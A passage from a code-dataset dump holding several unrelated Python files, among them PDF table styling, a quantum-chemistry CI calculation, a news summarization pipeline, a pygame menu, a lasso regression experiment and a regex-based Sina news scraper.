设置表格的风格,空行表示设置下一行,第一组设置表格的整体风格\n style2 = [\n #Result table\n #占据两行\n ('SPAN',(0,0),(-1,0)),\n ('ALIGN',(0,0),(-1,0),'CENTER'),\n ('FONT',(0,0),(-1,0),'Times-Roman',18),\n ('SPAN',(0,1),(0,2)),\n ('BACKGROUND',(0,0),(-1,0), colors.gray),\n ('SPAN',(1,1),(2,1)),\n ('SPAN',(3,1),(3,2)),#base line\n ('SPAN',(4,1),(5,1)),#single_thread\n ('SPAN',(6,1),(6,2)),#base line\n ('SPAN',(-2,1),(-1,1)),#multithreading\n ('ALIGN',(0,1),(-1,2),'CENTER'),\n\n #占据11行\n ('SPAN',(0,3),(0,14)),\n #占据5行\n ('SPAN',(0,17),(2,17)),\n ('SPAN',(0,18),(2,18)),\n #HardWare and SoftWare\n ('SPAN',(0,20),(4,20)),\n ('SPAN',(5,20),(-1,20))\n ]\n \n report.add_content(data2,style2)\n report.create('mypdf.pdf')\n\nif __name__=='__main__':\n test_report()\n","sub_path":"project/genpdf/genrpt_v0.3.py","file_name":"genrpt_v0.3.py","file_ext":"py","file_size_in_byte":7186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"460058250","text":"# (C) Copyright 2018 Anthony D. Dutoi\n# \n# This file is part of Qode.\n# \n# Qode is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n# \n# Qode is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with Qode. If not, see .\n#\nimport numpy\nfrom qode.math import *\nfrom qode.atoms.integrals.basis import contractions, basis_function, symmON_transformation, transform2, transform4\nfrom qode.atoms.integrals.integrals_better import kinetic, charge, charges, e_repulsion\nfrom qode.fermion_field.occ_strings import all_occ_strings\nfrom qode.fermion_field.state import state, configuration\nimport CI_Hamiltonian\n\nn_elec = 2\n\ndistance = 0.74 / 0.529177\nrA = (0,0,-distance/2)\nrB = (0,0,+distance/2)\n\nbasis = []\nbasis += [basis_function(contractions[\"3-21G\"][\"H 1s\"],rA)]\nbasis += [basis_function(contractions[\"3-21G\"][\"H 2s\"],rA)]\nbasis += [basis_function(contractions[\"3-21G\"][\"H 1s\"],rB)]\nbasis += [basis_function(contractions[\"3-21G\"][\"H 2s\"],rB)]\n\nnuclei = []\nnuclei += [charge(1,rA)]\nnuclei += [charge(1,rB)]\n\nN = charges(nuclei)\nT = kinetic()\nV = e_repulsion()\n\nT_mat = (basis|T|basis)\nN_mat = (basis|N|basis)\nh_mat = T_mat + N_mat\nV_mat = ((basis,basis)|V|(basis,basis))\n\nU = symmON_transformation(basis)\nh_mat = transform2(h_mat, U)\nV_mat = transform4(V_mat, U)\n\nocc_strings = all_occ_strings(2*len(basis), n_elec)\nH = CI_Hamiltonian.H(h_mat, V_mat, occ_strings).terms\nH_mat = numpy.zeros((len(occ_strings),len(occ_strings)))\n\nfor op,h in H:\n\tfor j,J in enumerate(occ_strings):\n\t\tket = configuration(J)\n\t\tHket = op | ket\n\t\tif Hket.is_not_null():\n\t\t\tocc_string, phase = Hket.value()\n\t\t\ti = occ_strings.index(occ_string)\n\t\t\tH_mat[i,j] += phase * h\n\nevals,evecs = numpy.linalg.eigh(H_mat)\nprint(min(evals)+ N.classical_interaction_energy)\n","sub_path":"QODE/Applications/Be_n/attic/H2_2_FCI/elec_fci/H2.py","file_name":"H2.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"424738723","text":"__author__ = \"Kris\"\n\"\"\"\nColleges and Universities\n0.16kg/meal\n63.78kg/student/year living in res\n17.01kg/student/year non res\n\n\n\nCorrectional Facilities\nHospitals\nLodging and Hotels\nNursing Homes\nElementary and Secondary Schools\nRestaurants\nSupermarkets and Grocery Stores\nVenues and Events\n\"\"\"\n\n\"\"\"\n-------Simple Version-----------\nWhat type of organization are you?\n\nquestion 1\nquestion 2\nquestion 3\n\nresult\n\n-------Baseline Version---------\nWhat type of organization are you?\n\nbaseline question 1\nbaseline question 2\nbaseline question 3\nbaseline question 4\n\n\nbaseline question 1\nsavings question 2\nsavings question 3\nsavings question 4\n\n\"\"\"","sub_path":"src/models/volumes_and_weights/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"303987476","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 23 16:55:33 2017\r\n\r\n@author: Rudrajit Aditya Akash\r\n\"\"\"\r\n\r\n\r\nimport csv\r\nimport nltk\r\n#nltk.download('punkt')\r\nimport re\r\nimport numpy as np\r\nfrom gensim.models import Word2Vec\r\nfrom sklearn.metrics.pairwise import cosine_similarity\r\nimport pdb\r\n#model = KeyedVectors.load_word2vec_format('/home/audy/GoogleNews-vectors-negative300.bin', binary=True) \r\nfrom sklearn.decomposition import TruncatedSVD\r\n\r\n\r\n\r\ndef compute_pc(X,npc=1):\r\n \"\"\"\r\n Compute the principal components. DO NOT MAKE THE DATA ZERO MEAN!\r\n :param X: X[i,:] is a data point\r\n :param npc: number of principal components to remove\r\n :return: component_[i,:] is the i-th pc\r\n \"\"\"\r\n svd = TruncatedSVD(n_components=npc, n_iter=7, random_state=0)\r\n svd.fit(X)\r\n return svd.components_\r\n\r\ndef remove_pc(X, npc=1):\r\n \"\"\"\r\n Remove the projection on the principal components\r\n :param X: X[i,:] is a data point\r\n :param npc: number of principal components to remove\r\n :return: XX[i, :] is the data point after removing its projection\r\n \"\"\"\r\n pc = compute_pc(X, npc)\r\n if npc==1:\r\n XX = X - X.dot(pc.transpose()) * pc\r\n else:\r\n XX = X - X.dot(pc.transpose()).dot(pc)\r\n return XX\r\n\r\ndef get_sentences(file_name):\r\n tokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\r\n fp = open(file_name)\r\n text = fp.read()\r\n sentences = tokenizer.tokenize(text)\r\n return sentences\r\n\r\ndef get_words(sentence):\r\n words = re.sub(\"[^\\w]\", \" \", sentence).split()\r\n return words\r\n\r\ndef get_total_word_count():\r\n f = open('git_prob.txt', 'r',encoding=\"ISO-8859-1\")\r\n N = 0\r\n for line in f.readlines():\r\n line = str(line.lower())\r\n line = line.strip().lower()\r\n word_and_prob = str(line)\r\n count = word_and_prob[line.index(' ')+1:]\r\n N = N+int(count)\r\n f.close()\r\n # if the word was not found in the list, return 0\r\n return N\r\n\r\ndef get_one_word_prob(word_ex,N):\r\n f = open('git_prob.txt', 'r',encoding=\"ISO-8859-1\")\r\n for line in f.readlines():\r\n line = str(line.lower())\r\n line = line.strip().lower()\r\n word_and_prob = str(line)\r\n if(len(word_and_prob) > len(word_ex)):\r\n if(word_and_prob[len(word_ex)] == ' '):\r\n word = word_and_prob[0:len(word_ex)]\r\n prob = word_and_prob[len(word_ex)+1:]\r\n if word.lower() == word_ex.lower():\r\n prob = (int(prob)/N)\r\n f.close()\r\n return prob\r\n # if the word was not found in the list, return 0\r\n return 0\r\n\r\ndef get_word_prob(words,N):\r\n word_prob = np.zeros(len(words))\r\n for i in range(0,len(words)):\r\n word_prob[i] = get_one_word_prob(words[i],N) \r\n return word_prob\r\n\r\ndef prob_and_vec(words,model,N): \r\n m = 300\r\n tot = 100000000000\r\n word_vec = np.zeros([m,len(words)])\r\n word_prob = np.zeros(len(words))\r\n word_prob = get_word_prob(words,N)\r\n #pdb.set_trace()\r\n for i in range(0,len(words)):\r\n try:\r\n word_vec[:,i] = model[words[i]]\r\n #word_prob[i] = model.vocab[words[i]].count/tot\r\n except:\r\n try:\r\n word_vec[:,i] = model[words[i].capitalize()]\r\n #word_prob[i] = model.vocab[words[i].capitalize()].count/tot\r\n except:\r\n try:\r\n word_vec[:,i] = model[words[i].upper()]\r\n #word_prob[i] = model.vocab[words[i].upper()].count/tot \r\n except: \r\n word_vec[:,i] = np.zeros((300,))\r\n #word_prob[i] = 0 \r\n return word_vec, word_prob\r\n\r\ndef get_sentence_embeddings(file_name,model,N):\r\n sentences = get_sentences(file_name)\r\n m = 300\r\n sentence_embedding = np.zeros([m,len(sentences)])\r\n #a = 50\r\n a = 8e-3\r\n #pdb.set_trace()\r\n #sentence_embedding[] = sentence_embedding - np.mean(sentence_embedding[:,i])\r\n for i in range(0,len(sentences)):\r\n words = get_words(sentences[i])\r\n [words_vec,words_prob] = prob_and_vec(words,model,N)\r\n #words_prob = 1e5*words_prob\r\n words_coeff = np.divide(a,a+words_prob)\r\n if (len(words) != 0):\r\n sentence_embedding[:,i] = np.dot(words_vec,words_coeff)/len(words)\r\n #sentence_embedding_trans = sentence_embedding.T\r\n #sentence_embedding_mean = sentence_embedding_trans.mean(axis = 0)\r\n #sentence_embedding_centered = sentence_embedding_trans - sentence_embedding_mean\r\n #sentence_embedding_centered = sentence_embedding_centered.T\r\n #sentence_embedding_mean = sentence_embedding_mean.T\r\n\r\n #sentence_embedding_mean = sentence_embedding.mean(axis = 1)\r\n #sentence_embedding_mean = np.reshape(sentence_embedding_mean,[m,1])\r\n #sentence_embedding_mean = np.tile(sentence_embedding_mean,len(sentences))\r\n #sentence_embedding_centered = sentence_embedding - sentence_embedding_mean\r\n\r\n #[U,_,_] = np.linalg.svd(sentence_embedding_centered)\r\n #u = np.reshape(U[:,0],(len(U[:,0]),1))\r\n\r\n #sentence_embedding_centered = sentence_embedding_centered - np.dot(u,np.dot(u.transpose(),sentence_embedding_centered))\r\n #sentence_embedding = sentence_embedding_centered + sentence_embedding_mean\r\n\r\n sentence_embedding_pure = remove_pc(sentence_embedding.T,1)\r\n sentence_embedding_pure = sentence_embedding_pure.T\r\n\r\n return sentence_embedding_pure\r\n\r\n\r\n\r\ndef get_text_and_summary():\r\n news = csv.reader(open('news_summary.csv',encoding=\"ISO-8859-1\"), delimiter=',')\r\n N = 4515\r\n text = [[] for i in range(N)]\r\n text_summ = [[] for i in range(N)]\r\n i = 0\r\n b = 0\r\n for row in news:\r\n if b == 0:\r\n b = 1\r\n continue\r\n else:\r\n # To correct most of the bullshit in the actual text\r\n t = str(row[5])\r\n lt = len(t)\r\n for j in range(0,lt-1):\r\n if (j >= len(t)-1):\r\n break\r\n if (t[j] == '.' and t[j+1] != ' '):\r\n t1 = t[0:j+1]\r\n t2 = t[j+1:]\r\n t = t1+' '+t2\r\n if (t[j] == '?'):\r\n t1 = t[0:j]\r\n t2 = t[j+1:]\r\n t = t1+t2\r\n text[i] = t\r\n text_summ[i] = str(row[4])\r\n #text[i] = row[5]\r\n #text_summ[i] = row[4]\r\n i = i+1\r\n return text,text_summ\r\n\r\n\r\ndef get_key_sentence_labels(sentence_embeddings,sentence_embeddings_summ):\r\n #Get the no of sentences in summary\r\n dim_summ = sentence_embeddings_summ.shape\r\n summ_ct = dim_summ[1]\r\n #Get the no of sentences in actual file\r\n dim = sentence_embeddings.shape\r\n ct = dim[1]\r\n key_sentences = np.zeros(ct)\r\n for i in range(0,summ_ct):\r\n #tmp = np.transpose(np.tile(sentence_embeddings_summ[:,i],(ct,1)))\r\n # inner product used to measure closeness\r\n #dot_prod = np.sum(np.multiply(tmp,sentence_embeddings),0)\r\n dot_prod = cosine_similarity((sentence_embeddings_summ[:,i]).reshape(1,-1),np.transpose(sentence_embeddings))\r\n key_sentences[np.argmax((dot_prod))] = 1\r\n #print(np.argmax((dot_prod)))\r\n return key_sentences\r\n \r\n \r\n# Zero padding done to deal with sentences at the beginning and end\r\ndef get_input_and_ouptut_vectors(text,text_summ,N1,N2,z,model,no):\r\n N = 4515\r\n # m = 300 from fastText word vectors\r\n #m = 300\r\n # m = 100 for gensim\r\n m = 300\r\n win = 3\r\n w = (2*win+1)*m\r\n # X will be a p X w matrix, where p = number of sentences available\r\n # Each row contains the sentence embedding vectors (stacked one after the \r\n # other) of the (2*win+1) sentences in a window - For Feedforward NN\r\n X = np.zeros([1,w])\r\n Y = np.zeros([1,2])\r\n b = 0\r\n for i in range(N1,N2):\r\n # clear the contents of the file before every iteration\r\n open('text.txt', 'w').close()\r\n file_text = open('text.txt','w') \r\n file_text.write(text[i]) \r\n file_text.close()\r\n sentences = get_sentences('text.txt')\r\n if (len(sentences) == 0):\r\n continue\r\n sentence_embeddings = get_sentence_embeddings('text.txt',model,no)\r\n #pdb.set_trace()\r\n open('text_summ.txt', 'w').close()\r\n file_summ = open('text_summ.txt','w') \r\n file_summ.write(text_summ[i]) \r\n file_summ.close()\r\n sentence_embeddings_sum = get_sentence_embeddings('text_summ.txt',model,no)\r\n # key_sentences should be a nX1 array (n = number of sentences) \r\n # containing only 1s (if the sentence corresponding to that index is a \r\n # key sentence) and 0s.\r\n key_sentences = get_key_sentence_labels(sentence_embeddings,sentence_embeddings_sum)\r\n \r\n #for t in range(0,len(key_sentences)):\r\n # if(key_sentences[t] == 1):\r\n # print(sentences[t])\r\n # print('YaaY')\r\n \r\n #pdb.set_trace()\r\n # zero-pad 'sentence_embeddings' - not sure if this is a good idea!!!\r\n sentence_embeddings_zero_padded = np.zeros([m,2*win+sentence_embeddings.shape[1]])\r\n sentence_embeddings_zero_padded[:,win:win+sentence_embeddings.shape[1]] = sentence_embeddings\r\n sentence_embeddings = sentence_embeddings_zero_padded\r\n for j in range(win,len(key_sentences)+win):\r\n #if (j >= win and j < len(key_sentences)-win):\r\n if b == 0:\r\n X[b,:] = (np.transpose(sentence_embeddings[:,j-win:j+win+1])).ravel()\r\n Y[b,0] = key_sentences[j-win]\r\n b = 1\r\n else:\r\n X = np.vstack((X,(np.transpose(sentence_embeddings[:,j-win:j+win+1])).ravel()))\r\n Y = np.vstack((Y,np.array([key_sentences[j-win],0])))\r\n print(i)\r\n Y = Y[:,0]\r\n \r\n if z == 1:\r\n np.save('X_train.npy',X) \r\n np.save('Y_train.npy',Y) \r\n else:\r\n np.save('X_test.npy',X) \r\n np.save('Y_test.npy',Y) \r\n \r\n return X,Y\r\n \r\n\r\ndef generate_summary_file(text,key_sentence_labels,N1,N2):\r\n file_write_summ = open('summary.txt','w') \r\n ct = 0\r\n for i in range(N1,N2):\r\n open('text.txt', 'w').close()\r\n file_text = open('text.txt','w') \r\n file_text.write(text[i]) \r\n file_text.close()\r\n sentences = get_sentences('text.txt')\r\n for j in range(0,len(sentences)):\r\n if ct 1:\n color = (0, 0, 255)\n cv2.rectangle(image, (int(box[0]), int(box[1])), (int(box[2]), int(box[3])), color, thickness)\n cv2.circle(image, tuple(centers[i,:]), 5, (255, 255, 0), 10)\n\n if is_warp:\n image_2 = cv2.warpPerspective(image, M, (1920, 1080))\n cv2.imshow('test2', image_2)\n\n cv2.imshow('test', image)\n key = cv2.waitKey(1) & 0xFF\n if key & 0xFF == ord('q'):\n break\n\n if key == ord('n'):\n continue\n\n cv2.destroyAllWindows()\n\n","sub_path":"detect_stream.py","file_name":"detect_stream.py","file_ext":"py","file_size_in_byte":9142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"527783403","text":"#!/usr/bin/env python\n# utf-8\n\n\"\"\"\nProgram for task1 of assignment 14\nCreated by Pramod Pantha on 15 March, 2016.\nCopyright 2016 Pramod Pantha. All right reserved.\n\"\"\"\n\n\nfrom collections import Counter\nimport argparse\nimport glob\nimport os\n\n\ndef get_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--directory\", help='the path to a directory', type=str)\n # parser.add_argument(\"--inputfile2\", required=True)\n args = parser.parse_args()\n\n return args\n\n\ndef lowercase_replace(string):\n text1 = string.replace(\",\", \" \").replace(\".\", \" \")\n text2 = text1.replace(\"?\", \" \").replace(\"/\", \" \").replace(\"!\", \" \")\n text3 = text2.replace(\":\", \" \").replace(\";\", \" \").casefold()\n text4 = text3.replace(\")\", \" \").replace(\" (\", \" \")\n text5 = text4.replace(\" \", \" \")\n text6 = text5.split()\n return text6\n\n\ndef text_count(l):\n counttext = Counter(l)\n return counttext\n\n\ndef words_count(d):\n sorted_dict = sorted(d.items(), key=lambda x: (-x[1], x[0]))\n for i in sorted_dict:\n if len(i[0]) < 8:\n print(\"{0}\\t{1}\\n\".format(i[0], i[1]))\n if len(i[0]) >= 8 and len(i[0]) < 16:\n print(\"{0}\\t{1}\\n\".format(i[0], i[1]))\n if len(i[0]) >= 16:\n print(\"{0}\\t{1}\\n\".format(i[0], i[1]))\n\n\ndef uniq_count_word(arg):\n my_set = set(arg)\n return(my_set)\n\n\ndef main():\n args = get_parser()\n file1 = glob.glob(os.path.join(args.directory, \"*.txt\"))\n print(file1)\n with open(file1[0], \"r\") as inputfile1:\n inputfile_string1 = inputfile1.read()\n a = lowercase_replace(inputfile_string1)\n b = text_count(a)\n words_count(b)\n chapter1 = uniq_count_word(b)\n print(chapter1)\n with open(file1[1], \"r\", encoding='utf-8') as inputfile2:\n inputfile_string2 = inputfile2.read()\n d = lowercase_replace(inputfile_string2)\n e = text_count(d)\n words_count(e)\n chapter2 = uniq_count_word(e)\n print(chapter2)\n print(chapter1.intersection(chapter2))\n print(chapter1.difference(chapter2))\n print(chapter2.difference(chapter1))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"answers/pramodpantha/task1_asgn14.py","file_name":"task1_asgn14.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"425045588","text":"import pygame\nfrom constants import *\nfrom pygame.locals import *\nfrom loadmanager import LoadManager\n\n\nclass FrameMenu():\n def __init__(self, screen, engine):\n '''\n Menu screen\n '''\n self.engine = engine\n self.manager = LoadManager()\n self.labels = ['New Game', 'Settings', 'Score', 'Quit', 'Map Editor']\n self.item_labels = []\n pygame.font.init()\n self.font = pygame.font.Font('data/fonts/Adore64.ttf', 10)\n self.font_for_menu = pygame.font.Font('data/fonts/Adore64.ttf', 14)\n self.screen = screen\n self.image = pygame.transform.scale(\n (self.manager.get_image('Satellite-256.png')), (128, 128))\n self.label = self.font.render('Pre-alpha code', 1, (255, 255, 255))\n self.label_new_game = self.font_for_menu.render(\n self.labels[0], 1, (255, 255, 255))\n self.label_settings = self.font_for_menu.render(\n self.labels[1], 1, (105, 105, 105))\n self.label_score = self.font_for_menu.render(\n self.labels[2], 1, (105, 105, 105))\n self.label_quit = self.font_for_menu.render(\n self.labels[3], 1, (255, 255, 255))\n self.label_mapeditor = self.font_for_menu.render(\n self.labels[4], 1, (255, 255, 255))\n self.posx = WINDOW_WIDTH / 2 - self.label.get_rect().width / 2\n self.posy = WINDOW_HEIGHT - self.label.get_rect().height * 2\n self.posx2 = WINDOW_WIDTH / 2 - self.image.get_rect().width / 2\n self.posy2 = WINDOW_HEIGHT / 2 - self.image.get_rect().height * 2 + 64\n self.posx_ng = WINDOW_WIDTH / 2 - \\\n self.label_new_game.get_rect().width / 2\n self.posy_ng = self.posy2 + self.image.get_rect().height + 32\n self.posx_mb = WINDOW_WIDTH / 2 - \\\n self.label_mapeditor.get_rect().width / 2\n self.posy_mb = self.posy_ng + self.label_new_game.get_rect().height + 32\n self.posx_q = WINDOW_WIDTH / 2 - self.label_quit.get_rect().width / 2\n self.posy_q = self.posy_mb + self.label_quit.get_rect().height + 32\n\n def on_mouse_event(self, button, pos, rt):\n if rt == 'MOTION':\n if self.posx_ng < pos[0] < \\\n self.label_new_game.get_rect().width + \\\n self.posx_ng and self.posy_ng < pos[1] < \\\n self.label_new_game.get_rect().height + self.posy_ng:\n self.label_new_game = \\\n self.font_for_menu.render(self.labels[0], 1, (59, 78, 255))\n else:\n self.label_new_game = \\\n self.font_for_menu.render(\n self.labels[0], 1, (255, 255, 255))\n if rt == 'MOTION':\n if self.posx_q < pos[0] < \\\n self.label_quit.get_rect().width + self.posx_q \\\n and self.posy_q < pos[1] < \\\n self.label_quit.get_rect().height + \\\n self.posy_q:\n self.label_quit = \\\n self.font_for_menu.render(self.labels[3], 1, (59, 78, 255))\n else:\n self.label_quit = \\\n self.font_for_menu.render(\n self.labels[3], 1, (255, 255, 255))\n if rt == 'MOTION':\n if self.posx_mb < pos[0] < \\\n self.label_mapeditor.get_rect().width + \\\n self.posx_mb and self.posy_mb < pos[1] < \\\n self.label_mapeditor.get_rect().height + \\\n self.posy_mb:\n self.label_mapeditor = \\\n self.font_for_menu.render(self.labels[4], 1, (59, 78, 255))\n else:\n self.label_mapeditor = \\\n self.font_for_menu.render(\n self.labels[4], 1, (255, 255, 255))\n if rt == 'DOWN':\n if button == 1:\n if self.posx_q < pos[0] < \\\n self.label_quit.get_rect().width + \\\n self.posx_q and self.posy_q < pos[1] < \\\n self.label_quit.get_rect().height + self.posy_q:\n pygame.quit()\n if self.posx_ng < pos[0] < \\\n self.label_new_game.get_rect().width + \\\n self.posx_ng and self.posy_ng < pos[1] < \\\n self.label_new_game.get_rect().height + \\\n self.posy_ng:\n self.engine.set_frame(3)\n if self.posx_mb < pos[0] < \\\n self.label_mapeditor.get_rect().width + \\\n self.posx_mb and self.posy_mb < pos[1] < \\\n self.label_mapeditor.get_rect().height + \\\n self.posy_mb:\n self.engine.set_frame(4)\n\n def on_keyboard_event(self, key, unicode_key):\n pass\n\n def update(self):\n pass\n\n def render(self):\n self.screen.blit(self.label, (self.posx, self.posy))\n self.screen.blit(self.image, (self.posx2, self.posy2))\n self.screen.blit(self.label_new_game, (self.posx_ng, self.posy_ng))\n self.screen.blit(self.label_mapeditor, (self.posx_mb, self.posy_mb))\n self.screen.blit(self.label_quit, (self.posx_q, self.posy_q))\n pygame.display.flip()","sub_path":"frames/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"235944948","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n# In[2]:\n\n\ndataSet=pd.read_csv('../input_data/data.csv').drop(['Serial No.'],axis=1)\n\n\n# In[3]:\n\n\ntrainingData=dataSet.sample(frac=0.8,random_state=100)\nvalidationData=dataSet.drop(trainingData.index)\ntrainingLabel=trainingData.pop('Chance of Admit ')\nvalidationLabel=validationData.pop('Chance of Admit ')\n\n\n# In[4]:\n\n\nX_Train=np.array(trainingData)\nX_Train=(X_Train-X_Train.mean(axis=0))/X_Train.std(axis=0)\nY_Train=np.array(trainingLabel).reshape((len(trainingLabel),1))\n\nX_Test=np.array(validationData)\nX_Test=(X_Test-X_Test.mean(axis=0))/X_Test.std(axis=0)\nY_Test=np.array(validationLabel).reshape((len(validationLabel),1))\n\n\n# In[5]:\n\n\nclass LassoRegression():\n \n def __init__(self,alpha,lamda,epochs):\n self.alpha=alpha\n self.lamda=lamda\n self.epochs=epochs\n \n def Cost(self,X,Y):\n X_theta=np.dot(X,self.theta)+self.bias\n return (0.5/len(X))*(np.sum((X_theta-Y)**2)+self.lamda*np.sum(np.abs(self.theta)))\n \n def MSE(self,X,Y):\n X_theta=np.dot(X,self.theta)+self.bias\n return (0.5/len(X))*(np.sum((X_theta-Y)**2))\n \n def GD(self,X,Y):\n theta=np.zeros((X.shape[1],1))\n bias=1\n for e in range(self.epochs):\n X_theta=np.dot(X,theta)+bias\n dBias=np.sum(X_theta-Y)\n regularizedTerm=np.dot(X.T,(X_theta-Y))+self.lamda*np.sign(theta)\n bias=bias-(self.alpha/len(X)*dBias)\n theta=theta-(self.alpha/len(X)*regularizedTerm)\n return theta,bias\n \n def fit(self,X,Y):\n self.theta,self.bias=self.GD(X,Y)\n \n def predict(self,X,Y):\n return np.dot(X,self.theta)+self.bias\n\n\n# In[6]:\n\n\nlambdas=np.arange(0,10,1)\ntrainErrors=[]\ntestErrors=[]\nfor lamda in lambdas:\n model=LassoRegression(alpha=0.1,lamda=lamda,epochs=1000)\n model.fit(X_Train,Y_Train)\n trainErrors.append(model.MSE(X_Train,Y_Train))\n testErrors.append(model.MSE(X_Test,Y_Test))\n\n\n# In[7]:\n\n\nplt.plot(lambdas,testErrors,label=\"Testing\")\nplt.title('Lambda vs Testing Error')\nplt.xlabel('Lambda')\nplt.grid(True)\nplt.ylabel('Testing Error')\nplt.legend()\nplt.show()\n\nplt.figure()\nplt.plot(lambdas,trainErrors,label=\"Training\")\nplt.title('Lambda vs Training Error')\nplt.xlabel('Lambda')\nplt.grid(True)\nplt.ylabel('Training Error')\nplt.legend()\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Regularization-K-Fold/src/q_1_1.py","file_name":"q_1_1.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"317099136","text":"from spider_.sina.GetPageLinks import URLGenerator,GetURLGroupByPage\nfrom spider_.DBHelper import operate_with_sql,select\nfrom spider_.common import get_code,if_contain_keyword,json_url_generator,unicode2str,trans_time_format\nimport requests,re,chardet,time, random\nfrom urllib.request import urlopen\nimport math\n\ndef crawl_links():\n pageNum = 1\n newsCount = 1\n # print(requests.get(URLGenerator(pageNum)).status_code)\n # print(type(requests.get(URLGenerator(pageNum)).status_code))\n while (requests.get(URLGenerator(pageNum)).status_code == 200):\n dict_list = GetURLGroupByPage(URLGenerator(pageNum))\n sql = \"insert into sinalink (title,newsTime,link,src) VALUES (%s,%s,%s,%s)\"\n i = 1\n for dic in dict_list:\n print(dic)\n sql = \"insert into sinalink (title,newsTime,link,src) VALUES ('%s','%s','%s','%s')\" % (\n dic[\"title\"], dic[\"time\"], dic[\"url\"], dic[\"src\"])\n # print(sql)\n operate_with_sql(sql,(dic[\"title\"], dic[\"time\"], dic[\"url\"], dic[\"src\"]))\n print(\"第%d条新闻插入数据库成功!\" % newsCount, \"\\n\")\n newsCount += 1\n pageNum += 1\n\ndef crawl_contens():\n\n #正则表达式\n reg_div = '
(.*?)
'\n # reg_p = '

(.*?)

'\n reg_p = '

(.*?)

'\n reg_img = ''\n reg_other = '<.*?>(.*?)<.*?>'\n\n\n\n sql = \"select * from sinatmp where content=\\'\\'\"\n select_result = select(sql)\n # print(\"查询结果: \" ,select_result)\n current_encoding = \"\"\n\n\n for dict in select_result:\n time.sleep(random.uniform(3.1,5.5))\n try:\n\n #因为不同年份的页面编码不尽相同,所以要先获取当前页面的编码\n chardet_html = urlopen(dict[\"link\"]).read()\n current_encoding = chardet.detect(chardet_html)[\"encoding\"]\n if current_encoding == 'gb2312' or current_encoding == 'GB2312':\n # if current_encoding == 'utf-8' or current_encoding == 'UTF-8':\n current_encoding = 'GB18030'\n htmlCode = get_code(dict[\"link\"], encoding=current_encoding)\n if \"页面没有找到 5秒钟之后将会带您进入新浪首页!\" in htmlCode:\n operate_with_sql('update sinatmp set content=%s where id=%s;', (\"empty\", int(dict[\"id\"])))\n print(dict[\"id\"],\"为空\")\n continue\n\n \"\"\"\n 匹配div的方法来获取p\n \"\"\"\n # result_divs = re.findall(reg_div, htmlCode,re.I | re.S | re.M) #可能会有多个class为article***的div\n # print(len(result_divs))\n # for div in result_divs:\n # print(div)\n # result_p = re.findall(reg_p, div)\n # print(\"\\nresult_p: \" ,result_p)\n #\n # for i in range(len(result_p)):\n # content_result = \"\"\n # if len(re.findall(reg_other, result_p[i])) != 0:\n # # pass #对于

中还包含其他标签的情况,e.g.

链接

,这类p不添加到结果列表中去\n # result_p[i] = re.sub(\"<.*?>\",\"\",result_p[i])\n # content_result = \"\".join(result_p[i])\n # else:\n # content_result = \"\".join(str(result_p[i])) # 将符合要求的

(p标签中不包含其他标签)添加到结果列表中\n # print(content_result)\n\n \"\"\"\n 直接获取p\n \"\"\"\n result_p = re.findall(reg_p, htmlCode, re.I | re.M)\n keyword_list = [\"新浪\",\"opyright\"]\n content_result = \"\"\n for i in range(len(result_p)):\n\n if len(re.findall(reg_other, result_p[i])) != 0 or len(re.findall(reg_img, result_p[i])):\n # pass #对于

中还包含其他标签的情况,e.g.

链接

,这类p不添加到结果列表中去\n # print(\"有问题的p: \", result_p[i])\n result_p[i] = re.sub(\"<.*?>\",\"\",result_p[i])\n if if_contain_keyword(result_p[i],keyword_list):\n result_p[i] = \"\"\n # content_result = \"\".join(result_p[i])\n content_result += result_p[i]\n # print(\"第%d个p: \" % i,result_p[i])\n else:\n # print(\"第%d个p: \" % i,result_p[i])\n if if_contain_keyword(result_p[i],keyword_list):\n result_p[i] = \"\"\n # print(\"22222222\", result_p[i])\n # content_result = \"\".join(str(result_p[i])) # 将符合要求的

(p标签中不包含其他标签)添加到结果列表中\n content_result += result_p[i]\n #print(type(content_result))\n\n print(content_result)\n print('update sinatmp set content=\\'%s\\' where id = %d;' % (content_result, int(dict[\"id\"])))\n operate_with_sql('update sinatmp set content=%s where id=%s;',(content_result, int(dict[\"id\"])))\n # operate_with_sql(\"update sinatmp \")\n except Exception as ex:\n print(\"id=\",dict[\"id\"],\" \",ex)\n continue\n\n \"\"\"\n 直接获取div\n \"\"\"\n # result_div = re.findall(reg_div, htmlCode, re.I | re.M)\n # keyword_list = [\"新浪\",\"opyright\"]\n # content_result = \"\"\n # for i in range(len(result_div)):\n #\n # if len(re.findall(reg_other, result_div[i])) != 0 or len(re.findall(reg_img, result_div[i])):\n # # pass #对于

中还包含其他标签的情况,e.g.

链接

